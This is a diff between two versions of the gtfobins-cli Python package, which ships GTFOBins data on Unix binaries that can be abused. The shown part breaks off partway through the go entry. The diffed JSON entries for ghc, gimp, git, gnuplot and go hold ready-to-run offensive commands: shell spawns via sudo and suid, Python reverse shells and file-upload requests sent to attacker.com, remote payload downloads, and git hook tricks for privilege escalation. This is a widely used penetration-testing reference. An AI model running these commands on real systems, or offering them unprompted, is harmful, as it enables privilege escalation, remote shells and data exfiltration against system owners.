gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/ghc.json
CHANGED
|
@@ -2,12 +2,14 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "ghc -e 'System.Process.callCommand \"/bin/sh\"'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'\n"
|
|
11
13
|
}
|
|
12
14
|
]
|
|
13
15
|
}
|
gtfo/data/ghci.json
CHANGED
gtfo/data/gimp.json
CHANGED
|
@@ -1,57 +1,62 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The binary hangs after executing the Python code and can be terminated pressing 'ctrl-c'.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"reverse-shell": [
|
|
10
10
|
{
|
|
11
|
-
"description": "Run
|
|
12
|
-
"code": "
|
|
11
|
+
"description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
|
|
12
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n"
|
|
13
13
|
}
|
|
14
14
|
],
|
|
15
15
|
"file-upload": [
|
|
16
16
|
{
|
|
17
|
-
"description": "Send local file via
|
|
18
|
-
"code": "
|
|
17
|
+
"description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
18
|
+
"code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))'\n"
|
|
19
19
|
},
|
|
20
20
|
{
|
|
21
21
|
"description": "Serve files in the local folder running an HTTP server.",
|
|
22
|
-
"code": "
|
|
22
|
+
"code": "export LPORT=8888\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()'\n"
|
|
23
23
|
}
|
|
24
24
|
],
|
|
25
25
|
"file-download": [
|
|
26
26
|
{
|
|
27
27
|
"description": "Fetch a remote file via HTTP GET request.",
|
|
28
|
-
"code": "
|
|
28
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])'\n"
|
|
29
29
|
}
|
|
30
30
|
],
|
|
31
31
|
"file-write": [
|
|
32
32
|
{
|
|
33
|
-
|
|
33
|
+
|
|
34
|
+
"code": "gimp -idf --batch-interpreter=python-fu-eval -b 'open(\"file_to_write\", \"wb\").write(\"DATA\")'\n"
|
|
34
35
|
}
|
|
35
36
|
],
|
|
36
37
|
"file-read": [
|
|
37
38
|
{
|
|
38
|
-
|
|
39
|
+
|
|
40
|
+
"code": "gimp -idf --batch-interpreter=python-fu-eval -b 'print(open(\"file_to_read\").read())'\n"
|
|
39
41
|
}
|
|
40
42
|
],
|
|
41
43
|
"library-load": [
|
|
42
44
|
{
|
|
43
|
-
|
|
45
|
+
|
|
46
|
+
"code": "gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'\n"
|
|
44
47
|
}
|
|
45
48
|
],
|
|
46
49
|
"suid": [
|
|
47
50
|
{
|
|
48
|
-
|
|
51
|
+
|
|
52
|
+
"code": "./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'\n"
|
|
49
53
|
}
|
|
50
54
|
],
|
|
51
55
|
"sudo": [
|
|
52
56
|
{
|
|
53
|
-
|
|
57
|
+
|
|
58
|
+
"code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'\n"
|
|
54
59
|
}
|
|
55
60
|
]
|
|
56
61
|
}
|
|
57
|
-
}
|
|
62
|
+
}
|
gtfo/data/ginsh.json
ADDED
gtfo/data/git.json
CHANGED
|
@@ -2,53 +2,64 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "PAGER='sh -c \"exec sh 0<&1\"' git -p help\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
8
|
-
"description": "This invokes the default pager, which is likely to be
|
|
9
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
9
10
|
"code": "git help config\n!/bin/sh\n"
|
|
10
11
|
},
|
|
11
12
|
{
|
|
12
|
-
"description": "The help system can also be reached from any
|
|
13
|
+
"description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
13
14
|
"code": "git branch --help config\n!/bin/sh\n"
|
|
14
15
|
},
|
|
15
16
|
{
|
|
16
|
-
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the
|
|
17
|
+
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.",
|
|
17
18
|
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\ngit -C \"$TF\" commit --allow-empty -m x\n"
|
|
18
19
|
},
|
|
19
20
|
{
|
|
21
|
+
|
|
20
22
|
"code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\ngit \"--exec-path=$TF\" x\n"
|
|
21
23
|
}
|
|
22
24
|
],
|
|
23
25
|
"file-read": [
|
|
24
26
|
{
|
|
25
|
-
"description": "The read file content is displayed in
|
|
26
|
-
"code": "
|
|
27
|
+
"description": "The read file content is displayed in `diff` style output format.",
|
|
28
|
+
"code": "LFILE=file_to_read\ngit diff /dev/null $LFILE\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"file-write": [
|
|
32
|
+
{
|
|
33
|
+
"description": "The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`.",
|
|
34
|
+
"code": "git apply --unsafe-paths --directory / x.patch\n"
|
|
27
35
|
}
|
|
28
36
|
],
|
|
29
37
|
"sudo": [
|
|
30
38
|
{
|
|
31
|
-
|
|
39
|
+
|
|
40
|
+
"code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help\n"
|
|
32
41
|
},
|
|
33
42
|
{
|
|
34
|
-
"description": "This invokes the default pager, which is likely to be
|
|
43
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
35
44
|
"code": "sudo git -p help config\n!/bin/sh\n"
|
|
36
45
|
},
|
|
37
46
|
{
|
|
38
|
-
"description": "The help system can also be reached from any
|
|
47
|
+
"description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
39
48
|
"code": "sudo git branch --help config\n!/bin/sh\n"
|
|
40
49
|
},
|
|
41
50
|
{
|
|
42
|
-
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the
|
|
51
|
+
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.",
|
|
43
52
|
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n"
|
|
44
53
|
},
|
|
45
54
|
{
|
|
55
|
+
|
|
46
56
|
"code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n"
|
|
47
57
|
}
|
|
48
58
|
],
|
|
49
59
|
"limited-suid": [
|
|
50
60
|
{
|
|
51
|
-
|
|
61
|
+
|
|
62
|
+
"code": "PAGER='sh -c \"exec sh 0<&1\"' ./git -p help\n"
|
|
52
63
|
}
|
|
53
64
|
]
|
|
54
65
|
}
|
gtfo/data/gnuplot.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "COMMAND=id\nsudo gnuplot -e 'set print \"-\" ; print system(\"'$COMMAND'\")'\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-read": [
|
|
10
|
+
{
|
|
11
|
+
"description": "",
|
|
12
|
+
"code": "LFILE=file_to_read\nsudo gnuplot -e 'set print \"-\" ; print system(\"cat '$LFILE'\")'\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/go.json
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "cat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin = os.Stdin\n cmd.Stdout = os.Stdout\n cmd.Stderr = os.Stderr\n cmd.Run()\n}\nEOF\ngo run main.go\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"reverse-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run ``nc -lvnp 12345`` on the attacker box to receive the shell.",
|
|
12
|
+
